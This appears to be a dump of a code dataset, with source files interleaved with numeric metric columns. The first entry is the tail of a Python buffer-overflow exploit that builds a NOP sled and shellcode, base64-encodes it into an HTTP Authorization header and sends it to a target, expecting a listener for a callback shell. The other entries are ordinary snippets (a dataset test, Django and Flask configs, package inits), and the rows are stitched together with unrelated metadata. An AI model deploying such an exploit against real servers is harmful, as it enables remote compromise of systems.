raw_exploit += "\x90"*266 + "\xeb\x10" + "\x90"*109 + buf
# Base64 encoded exploit
print "[+] Adding Base64 Encoding On Top"
exploit = base64.b64encode(raw_exploit) + "="
# Sending our exploit
print "[+] Setting Up Malicous GET Request"
get_request = ""
get_request += "GET / HTTP/1.1\r\n"
get_request += "Host:%s:%d\r\n" % (target, port)
get_request += "Authorization: Basic %s\r\n\r\n" % (exploit)
# Send Our Exploit
print "[+] Better Have That Listener Setup!"
print "[+] Sending %s:%d The Secret Sauce" % (target, port)
tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcp_sock.connect((target, port))
tcp_sock.send(get_request)
response = tcp_sock.recv(4096)
| 43.58427
| 91
| 0.647847
| 688
| 3,879
| 3.625
| 0.505814
| 0.024058
| 0.015638
| 0.012029
| 0.034884
| 0.021652
| 0
| 0
| 0
| 0
| 0
| 0.168437
| 0.126063
| 3,879
| 88
| 92
| 44.079545
| 0.567257
| 0.182521
| 0
| 0
| 0
| 0.467742
| 0.647096
| 0.507141
| 0.048387
| 0
| 0
| 0
| 0
| 0
| null | null | 0.016129
| 0.016129
| null | null | 0.177419
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
07c9289586591a24bf91bfe37d98a98e6086b86e
| 390
|
py
|
Python
|
tfds_korean/korean_wikipedia_corpus/korean_wikipedia_corpus_test.py
|
jeongukjae/tfds-korean
|
e29c55275ef4d501ca13ff91db433cd1889f1bcf
|
[
"Apache-2.0"
] | 22
|
2021-04-14T15:00:43.000Z
|
2022-03-21T09:38:14.000Z
|
tfds_korean/korean_wikipedia_corpus/korean_wikipedia_corpus_test.py
|
jeongukjae/tfds-korean
|
e29c55275ef4d501ca13ff91db433cd1889f1bcf
|
[
"Apache-2.0"
] | 28
|
2021-04-14T15:45:16.000Z
|
2022-03-28T03:03:58.000Z
|
tfds_korean/korean_wikipedia_corpus/korean_wikipedia_corpus_test.py
|
jeongukjae/tfds-korean
|
e29c55275ef4d501ca13ff91db433cd1889f1bcf
|
[
"Apache-2.0"
] | 3
|
2021-04-17T12:51:34.000Z
|
2021-04-27T08:11:21.000Z
|
"""korean_wikipedia_corpus dataset."""
import tensorflow_datasets as tfds
from . import korean_wikipedia_corpus
class KoreanWikipediaCorpusTest(tfds.testing.DatasetBuilderTestCase):
"""Tests for korean_wikipedia_corpus dataset."""
DATASET_CLASS = korean_wikipedia_corpus.KoreanWikipediaCorpus
SPLITS = {"train": 3}
if __name__ == "__main__":
tfds.testing.test_main()
| 22.941176
| 69
| 0.774359
| 41
| 390
| 6.902439
| 0.585366
| 0.212014
| 0.29682
| 0.19788
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.00295
| 0.130769
| 390
| 16
| 70
| 24.375
| 0.831858
| 0.192308
| 0
| 0
| 0
| 0
| 0.042763
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.285714
| 0
| 0.714286
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
ed0cf313ac026c8c20846081be173f7a1900368f
| 57
|
py
|
Python
|
custom_components/foobar/__init__.py
|
jschmer/home-assistant-foobar2k
|
386d2f06e82e218ada58103b4c88d21eaae2e00f
|
[
"MIT"
] | null | null | null |
custom_components/foobar/__init__.py
|
jschmer/home-assistant-foobar2k
|
386d2f06e82e218ada58103b4c88d21eaae2e00f
|
[
"MIT"
] | null | null | null |
custom_components/foobar/__init__.py
|
jschmer/home-assistant-foobar2k
|
386d2f06e82e218ada58103b4c88d21eaae2e00f
|
[
"MIT"
] | null | null | null |
"""foobar2000 media player custom component init file"""
| 28.5
| 56
| 0.77193
| 7
| 57
| 6.285714
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.08
| 0.122807
| 57
| 1
| 57
| 57
| 0.8
| 0.877193
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
ed33393c58962eeae68b5df7ec70dece14d6606b
| 99
|
py
|
Python
|
doctor_app/apps.py
|
JuliasBright/SendMoney
|
d13e2df81bf75a9154abfc57d897a416b4950e80
|
[
"CC0-1.0"
] | 1
|
2021-01-29T16:57:42.000Z
|
2021-01-29T16:57:42.000Z
|
doctor_app/apps.py
|
JuliasBright/SendMoney
|
d13e2df81bf75a9154abfc57d897a416b4950e80
|
[
"CC0-1.0"
] | null | null | null |
doctor_app/apps.py
|
JuliasBright/SendMoney
|
d13e2df81bf75a9154abfc57d897a416b4950e80
|
[
"CC0-1.0"
] | null | null | null |
from django.apps import AppConfig
class DoctorAppConfig(AppConfig):
name = 'doctor_app'
| 16.5
| 34
| 0.727273
| 11
| 99
| 6.454545
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.20202
| 99
| 5
| 35
| 19.8
| 0.898734
| 0
| 0
| 0
| 0
| 0
| 0.106383
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
ed378a4b01eda8aa322e040d9cd399979e7fc802
| 148
|
py
|
Python
|
test.py
|
edwintcloud/cs1.3_exercises
|
cd9cf117995a4bfc1ff8cfefac157a05179ee44f
|
[
"MIT"
] | null | null | null |
test.py
|
edwintcloud/cs1.3_exercises
|
cd9cf117995a4bfc1ff8cfefac157a05179ee44f
|
[
"MIT"
] | 3
|
2019-04-20T08:50:05.000Z
|
2019-05-18T17:08:16.000Z
|
test.py
|
edwintcloud/cs1.3_exercises
|
cd9cf117995a4bfc1ff8cfefac157a05179ee44f
|
[
"MIT"
] | null | null | null |
def perm(text1, text2):
return sum(ord(c) for c in text1) == sum(ord(c) for c in text2)
# test
one = 'abc'
two = 'bcaa'
print(perm(one, two))
| 16.444444
| 67
| 0.614865
| 28
| 148
| 3.25
| 0.571429
| 0.131868
| 0.153846
| 0.21978
| 0.285714
| 0.285714
| 0
| 0
| 0
| 0
| 0
| 0.034188
| 0.209459
| 148
| 8
| 68
| 18.5
| 0.74359
| 0.027027
| 0
| 0
| 0
| 0
| 0.049296
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0
| 0.2
| 0.4
| 0.2
| 1
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
ed418d8549df49d0ad14c74f51dfba6aba216194
| 91
|
py
|
Python
|
uploadprocess/forms.py
|
swamidce/elucidataassignment1
|
9a1bfdfdbaecbf7d9dd94057bdbabac8cf4d4b6b
|
[
"MIT"
] | null | null | null |
uploadprocess/forms.py
|
swamidce/elucidataassignment1
|
9a1bfdfdbaecbf7d9dd94057bdbabac8cf4d4b6b
|
[
"MIT"
] | null | null | null |
uploadprocess/forms.py
|
swamidce/elucidataassignment1
|
9a1bfdfdbaecbf7d9dd94057bdbabac8cf4d4b6b
|
[
"MIT"
] | null | null | null |
from django import forms
class FileUpload(forms.Form):
upload_file = forms.FileField()
| 22.75
| 35
| 0.769231
| 12
| 91
| 5.75
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 91
| 4
| 35
| 22.75
| 0.884615
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
ed57a84f6b0ba8f69f7f7b890cb55088a23960ca
| 98
|
py
|
Python
|
git-rsync.py
|
tsangwpx/git-rsync
|
d1f2763f87df288d584326e8767ccd6bd7e47f0e
|
[
"MIT"
] | 1
|
2018-07-26T07:50:43.000Z
|
2018-07-26T07:50:43.000Z
|
git-rsync.py
|
tsangwpx/git-rsync
|
d1f2763f87df288d584326e8767ccd6bd7e47f0e
|
[
"MIT"
] | null | null | null |
git-rsync.py
|
tsangwpx/git-rsync
|
d1f2763f87df288d584326e8767ccd6bd7e47f0e
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python3
if __name__ == '__main__':
from gitrsync.__main__ import main
main()
| 14
| 38
| 0.663265
| 12
| 98
| 4.416667
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.012821
| 0.204082
| 98
| 6
| 39
| 16.333333
| 0.666667
| 0.173469
| 0
| 0
| 0
| 0
| 0.1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
ed7735c1d0a1bacc1776bb1b41874521093405e3
| 295
|
py
|
Python
|
econml/metalearners/__init__.py
|
imatiach-msft/EconML
|
289c5412f4492035b794c2833e7f6f6f48807dd1
|
[
"BSD-3-Clause"
] | 1,846
|
2019-05-06T21:14:19.000Z
|
2022-03-31T11:52:21.000Z
|
econml/metalearners/__init__.py
|
imatiach-msft/EconML
|
289c5412f4492035b794c2833e7f6f6f48807dd1
|
[
"BSD-3-Clause"
] | 393
|
2019-05-08T00:55:32.000Z
|
2022-03-31T14:26:16.000Z
|
econml/metalearners/__init__.py
|
imatiach-msft/EconML
|
289c5412f4492035b794c2833e7f6f6f48807dd1
|
[
"BSD-3-Clause"
] | 414
|
2019-05-14T03:51:08.000Z
|
2022-03-31T09:32:17.000Z
|
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
from ._metalearners import (TLearner, SLearner, XLearner, DomainAdaptationLearner)
__all__ = ["TLearner",
"SLearner",
"XLearner",
"DomainAdaptationLearner"]
| 29.5
| 83
| 0.667797
| 24
| 295
| 8
| 0.791667
| 0.166667
| 0.25
| 0.489583
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.240678
| 295
| 9
| 84
| 32.777778
| 0.857143
| 0.301695
| 0
| 0
| 0
| 0
| 0.242268
| 0.118557
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.2
| 0
| 0.2
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
ed8b7a62bacf61d51ef0438b4db5bde53ce2a768
| 285
|
py
|
Python
|
examples/hex.py
|
zamberjo/tron-api-python
|
b1371f564742e1429d7d50d78932cb745357a0ad
|
[
"Apache-2.0"
] | null | null | null |
examples/hex.py
|
zamberjo/tron-api-python
|
b1371f564742e1429d7d50d78932cb745357a0ad
|
[
"Apache-2.0"
] | null | null | null |
examples/hex.py
|
zamberjo/tron-api-python
|
b1371f564742e1429d7d50d78932cb745357a0ad
|
[
"Apache-2.0"
] | null | null | null |
from tronapi.tron import Tron
tron = Tron('https://api.trongrid.io:8090')
tron.to_hex('TT67rPNwgmpeimvHUMVzFfKsjL9GZ1wGw8')
# result: 41BBC8C05F1B09839E72DB044A6AA57E2A5D414A10
tron.from_hex('41BBC8C05F1B09839E72DB044A6AA57E2A5D414A10')
# result: TT67rPNwgmpeimvHUMVzFfKsjL9GZ1wGw8
| 28.5
| 59
| 0.845614
| 24
| 285
| 9.958333
| 0.583333
| 0.066946
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.247191
| 0.063158
| 285
| 9
| 60
| 31.666667
| 0.64794
| 0.326316
| 0
| 0
| 0
| 0
| 0.550265
| 0.402116
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.25
| 0
| 0.25
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
9c237a68205163232c0c585d4aa8cb6b77c56c7d
| 120
|
gyp
|
Python
|
binding.gyp
|
daanschilder/writecrc
|
7e48b1ba09199cf41abaa80c2491c49ef7b4ee87
|
[
"MIT"
] | null | null | null |
binding.gyp
|
daanschilder/writecrc
|
7e48b1ba09199cf41abaa80c2491c49ef7b4ee87
|
[
"MIT"
] | null | null | null |
binding.gyp
|
daanschilder/writecrc
|
7e48b1ba09199cf41abaa80c2491c49ef7b4ee87
|
[
"MIT"
] | null | null | null |
{
"targets": [
{
"target_name": "crc",
"sources": [ "./src/crc_module.c", "./src/crc.c" ]
},
]
}
| 15
| 56
| 0.408333
| 12
| 120
| 3.916667
| 0.666667
| 0.255319
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.308333
| 120
| 8
| 57
| 15
| 0.566265
| 0
| 0
| 0
| 0
| 0
| 0.471074
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
9c292a1bbb53ccb522fd4aad09ad7901d02e2b45
| 100
|
py
|
Python
|
blog/settings/__init__.py
|
multfunc/blog_server
|
fd00653de77d07c3cbc1472a3e027a2a793aa6a9
|
[
"MIT"
] | null | null | null |
blog/settings/__init__.py
|
multfunc/blog_server
|
fd00653de77d07c3cbc1472a3e027a2a793aa6a9
|
[
"MIT"
] | 3
|
2019-07-26T00:53:12.000Z
|
2021-12-13T20:33:55.000Z
|
blog/settings/__init__.py
|
multfunc/blog_server
|
fd00653de77d07c3cbc1472a3e027a2a793aa6a9
|
[
"MIT"
] | null | null | null |
from flask import Flask
def init_app(app:Flask):
app.config.from_pyfile('settings/settings.py')
| 25
| 50
| 0.77
| 16
| 100
| 4.6875
| 0.625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.11
| 100
| 4
| 50
| 25
| 0.842697
| 0
| 0
| 0
| 0
| 0
| 0.19802
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
9c721a9c7e293726a29b43189ea84bd0ec660d39
| 43
|
py
|
Python
|
.history/section4/pp_06_20200731001214.py
|
KustomApe/python_engineer
|
cb931f5c685be87ea518c7a0a6dd89154dce03a8
|
[
"MIT"
] | null | null | null |
.history/section4/pp_06_20200731001214.py
|
KustomApe/python_engineer
|
cb931f5c685be87ea518c7a0a6dd89154dce03a8
|
[
"MIT"
] | null | null | null |
.history/section4/pp_06_20200731001214.py
|
KustomApe/python_engineer
|
cb931f5c685be87ea518c7a0a6dd89154dce03a8
|
[
"MIT"
] | null | null | null |
num_tuple = (10, 20)
print(num_tuple)
x, y
| 10.75
| 20
| 0.674419
| 9
| 43
| 3
| 0.777778
| 0.592593
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.111111
| 0.162791
| 43
| 4
| 21
| 10.75
| 0.638889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
9c83d4385234238a4808462a375a933f8f1e7dc5
| 125
|
py
|
Python
|
snooty/gizaparser/__init__.py
|
rayangler/snooty-parser
|
3812adab1338ef78ff6f9aecae5e17d2ec5c5181
|
[
"Apache-2.0",
"CNRI-Python-GPL-Compatible"
] | 15
|
2019-04-25T15:38:31.000Z
|
2022-01-21T00:09:29.000Z
|
snooty/gizaparser/__init__.py
|
rayangler/snooty-parser
|
3812adab1338ef78ff6f9aecae5e17d2ec5c5181
|
[
"Apache-2.0",
"CNRI-Python-GPL-Compatible"
] | 69
|
2019-03-05T02:30:41.000Z
|
2022-03-02T17:51:08.000Z
|
snooty/gizaparser/__init__.py
|
rayangler/snooty-parser
|
3812adab1338ef78ff6f9aecae5e17d2ec5c5181
|
[
"Apache-2.0",
"CNRI-Python-GPL-Compatible"
] | 33
|
2019-02-05T21:18:17.000Z
|
2021-12-13T18:24:22.000Z
|
from . import extracts, published_branches, release, steps
__all__ = ["steps", "extracts", "release", "published_branches"]
| 31.25
| 64
| 0.744
| 13
| 125
| 6.692308
| 0.615385
| 0.390805
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.112
| 125
| 3
| 65
| 41.666667
| 0.783784
| 0
| 0
| 0
| 0
| 0
| 0.304
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
92cd10e58b4e898febe5b391e2b28ff2c9d41d1a
| 1,239
|
py
|
Python
|
grizzly/steps/__init__.py
|
mgor/grizzly
|
cbcb1b8b44682330f82bb4d24904fb6601b6f1b0
|
[
"MIT"
] | null | null | null |
grizzly/steps/__init__.py
|
mgor/grizzly
|
cbcb1b8b44682330f82bb4d24904fb6601b6f1b0
|
[
"MIT"
] | 9
|
2022-01-05T08:53:41.000Z
|
2022-03-31T07:26:05.000Z
|
grizzly/steps/__init__.py
|
mgor/grizzly
|
cbcb1b8b44682330f82bb4d24904fb6601b6f1b0
|
[
"MIT"
] | null | null | null |
'''
@anchor pydoc:grizzly.steps Steps
This package contains all step implementations needed to write a feature file that describes a `locust` load test scenario for `grizzly`.
A feature is described by using [Gherkin](https://cucumber.io/docs/gherkin/reference/). These expressions is then used by `grizzly` to configure and
start `locust`, which takes care of generating the load.
``` gherkin
Feature: description of the test
Background: steps that are common for all (if there is multiple) scenarios
Given ...
And ...
Scenario: steps for a specific flow through a component in the target environment
Given ...
And ...
Then ...
When ...
```
In this package there are modules with step implementations that can be used in both `Background` and `Scenario` sections in a feature file.
@anchor pydoc:grizzly.steps.custom
## Custom
Custom steps are implemented in your `grizzly` project `features/steps/steps.py` file. This is also the file that imports all `grizzly`-defined step implementations.
There are examples of this in the {@link framework.example}.
'''
# flake8: noqa: F401,F403
from .utils import *
from .setup import *
from .background import *
from .scenario import *
| 36.441176
| 165
| 0.727199
| 175
| 1,239
| 5.148571
| 0.514286
| 0.063263
| 0.039956
| 0.051054
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.006979
| 0.190476
| 1,239
| 33
| 166
| 37.545455
| 0.891326
| 0.917676
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
92e29e43c63c200ebae49a28b2b9918a2d43b38a
| 898
|
py
|
Python
|
test/test_events_api.py
|
antenny/antenny-py
|
fc6e7d688ab8ff0ec8d6bbb023725b7775d16057
|
[
"MIT"
] | null | null | null |
test/test_events_api.py
|
antenny/antenny-py
|
fc6e7d688ab8ff0ec8d6bbb023725b7775d16057
|
[
"MIT"
] | null | null | null |
test/test_events_api.py
|
antenny/antenny-py
|
fc6e7d688ab8ff0ec8d6bbb023725b7775d16057
|
[
"MIT"
] | null | null | null |
# coding: utf-8
"""
Antenny API
This is an api that allows you to interact with the Antenny platform. It allows you to manage your clients and subscriptions. # noqa: E501
The version of the OpenAPI document: 1.0.0
Contact: admin@antenny.io
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import unittest
import antenny
from antenny.api.events_api import EventsApi # noqa: E501
from antenny.rest import ApiException
class TestEventsApi(unittest.TestCase):
"""EventsApi unit test stubs"""
def setUp(self):
self.api = antenny.api.events_api.EventsApi() # noqa: E501
def tearDown(self):
pass
def test_list_events(self):
"""Test case for list_events
Gets a list of events for a subscription # noqa: E501
"""
pass
if __name__ == '__main__':
unittest.main()
| 21.380952
| 143
| 0.682628
| 121
| 898
| 4.917355
| 0.553719
| 0.053782
| 0.036975
| 0.063866
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.02329
| 0.234967
| 898
| 41
| 144
| 21.902439
| 0.842795
| 0.458797
| 0
| 0.142857
| 0
| 0
| 0.018648
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.214286
| false
| 0.142857
| 0.357143
| 0
| 0.642857
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 4
|
92ecc5e1304f5ab8dd3f1ae213471537b896bb87
| 23
|
py
|
Python
|
fastcore/__init__.py
|
4ndr3aR/fastcore
|
86b7964e93258e5991df254cc7ba2f8b1f7f4b89
|
[
"Apache-2.0"
] | null | null | null |
fastcore/__init__.py
|
4ndr3aR/fastcore
|
86b7964e93258e5991df254cc7ba2f8b1f7f4b89
|
[
"Apache-2.0"
] | 1
|
2022-02-26T12:19:20.000Z
|
2022-02-26T12:19:20.000Z
|
fastcore/__init__.py
|
4ndr3aR/fastcore
|
86b7964e93258e5991df254cc7ba2f8b1f7f4b89
|
[
"Apache-2.0"
] | null | null | null |
__version__ = "1.3.26"
| 11.5
| 22
| 0.652174
| 4
| 23
| 2.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 0.130435
| 23
| 1
| 23
| 23
| 0.35
| 0
| 0
| 0
| 0
| 0
| 0.26087
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
92fecba23cf9f4278582701989fd7751d49c0664
| 37
|
py
|
Python
|
data/studio21_generated/interview/1618/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/interview/1618/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/interview/1618/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
def differentiate(equation, point):
| 18.5
| 35
| 0.783784
| 4
| 37
| 7.25
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.108108
| 37
| 2
| 36
| 18.5
| 0.878788
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
130399fb6feb985dbbfc0f7744189d53fc2938d1
| 357
|
py
|
Python
|
xenny/ctf/crypto/modern/asymmetric/ecc/ecc.py
|
X3NNY/xenny
|
c55238f82f448ec08e4006f9037064c5c28524fd
|
[
"MIT"
] | 12
|
2018-12-31T09:47:33.000Z
|
2022-02-19T09:24:33.000Z
|
xenny/ctf/crypto/modern/asymmetric/ecc/ecc.py
|
X3NNY/xenny
|
c55238f82f448ec08e4006f9037064c5c28524fd
|
[
"MIT"
] | 3
|
2022-01-26T09:14:32.000Z
|
2022-02-06T11:01:55.000Z
|
build/lib/xenny/ctf/crypto/modern/asymmetric/ecc/ecc.py
|
X3NNY/xenny
|
c55238f82f448ec08e4006f9037064c5c28524fd
|
[
"MIT"
] | 1
|
2022-02-06T11:02:06.000Z
|
2022-02-06T11:02:06.000Z
|
# -*- coding: utf-8 -*-
"""
-------------------------------------------------
File Name : ecc
Description :
Author : x3nny
date : 2021/10/7
-------------------------------------------------
Change Activity:
2021/10/7: Init
-------------------------------------------------
"""
__author__ = 'x3nny'
| 23.8
| 49
| 0.263305
| 21
| 357
| 4.285714
| 0.761905
| 0.244444
| 0.155556
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.063197
| 0.246499
| 357
| 14
| 50
| 25.5
| 0.271375
| 0.910364
| 0
| 0
| 0
| 0
| 0.217391
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
1322aa713889f936263d98f3a09b1a7febaa6b7d
| 77
|
py
|
Python
|
chaptertwo/personalmessage.py
|
cmotek/python_crashcourse
|
29cbdd6699cd17192bb599d235852d547630d110
|
[
"Apache-2.0"
] | null | null | null |
chaptertwo/personalmessage.py
|
cmotek/python_crashcourse
|
29cbdd6699cd17192bb599d235852d547630d110
|
[
"Apache-2.0"
] | null | null | null |
chaptertwo/personalmessage.py
|
cmotek/python_crashcourse
|
29cbdd6699cd17192bb599d235852d547630d110
|
[
"Apache-2.0"
] | null | null | null |
name = "Frodo"
print(name + ", did you take the trash out? It's Wednesday!" )
| 38.5
| 62
| 0.662338
| 13
| 77
| 3.923077
| 0.923077
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.181818
| 77
| 2
| 62
| 38.5
| 0.809524
| 0
| 0
| 0
| 0
| 0
| 0.641026
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
